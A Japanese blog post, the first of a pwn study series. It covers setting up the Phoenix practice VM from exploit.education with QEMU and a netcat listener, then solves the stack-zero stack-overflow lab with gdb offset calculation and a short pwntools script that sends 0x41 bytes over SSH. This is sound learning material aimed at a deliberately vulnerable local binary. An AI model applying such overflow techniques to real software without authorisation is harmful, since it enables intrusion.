BuringStraw

BuringStraw

[pwnノート0]Phoenix環境のセットアップとstack-zero

pwn の学習プロジェクトhttp://exploit.educationを見つけました。一時的に pwn の勉強を始めることに決めました。メモシリーズを始めてみます(毎回 pwntools スクリプトの書き方を忘れてしまいます)。途中で挫折しないでください。少なくとも Phoenix シリーズを完了させることを目標にします。

環境のセットアップ#

まず、more-downloads から Phoenix の仮想マシンイメージをダウンロードし、アーキテクチャに応じて選択します。これがターゲットマシンです。起動する前に、qemu-system-x86をインストールする必要があります(64 ビット版も同じパッケージに含まれています(archlinux))。

boot-balabala.shを実行して仮想マシンを起動します。デフォルトでは、ssh がポート 2222 で開かれます。ユーザー名とパスワードはどちらも "user" です。

内部のプログラムを転送するために netcat を使用したい場合は、起動スクリプトに別のポート転送を追加するだけで十分です。以下にネットワークの行を示します。

-netdev user,id=unet,hostfwd=tcp:127.0.0.1:2222-:22,hostfwd=tcp:127.0.0.1:3333-:3333

次に、仮想マシン内で次のコマンドを実行します。

mkfifo io

そして、スクリプトファイル(start.sh)を作成します。

#!/bin/bash
cat io|$1 -i 2>&1|nc -l 3333 > io

その後、sh start.sh /opt/phoenix/amd64/stack-zeroのようにして netcat を起動できます。ポート 3333 は起動スクリプトと一致するようにしてください。

仮想マシンにはデフォルトで gef がインストールされていますが、私はあまり使い方がわからないので、peda のコピーを scp で送りました。省略します。

ホストマシンには非常に便利な pwntools もインストールしておきます:pip install pwntools

stack-zero#

プログラムは比較的単純で、cutter を使用します。

(実際には exploit.education のウェブページにソースコードがあります)(冒頭のコメントはジョークです)

今、私たちは s を var_10h(changeme)にオーバーフローさせ、内容は何でも構いません。gdb を開いて、距離を計算し、適当な入力を行います。

文字列は0x620にあります。

条件分岐の文、changeme はrbp-0x10にあります、つまり0x670-0x10です。

計算すると0x660-0x620=0x40です。

したがって、0x41個の a を出力すれば良いです。

pwntools の練習のために、コードを書きます。

ここでは、ssh で直接接続しています。nc は必要ありません。

from pwn import *

shell = ssh("user", "localhost", password="user", port=2222)
sh = shell.run("/opt/phoenix/amd64/stack-zero")
print(sh.recvline())
sh.sendline(b"a"*0x41)
print(sh.recvline())
shell.close()

成功

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。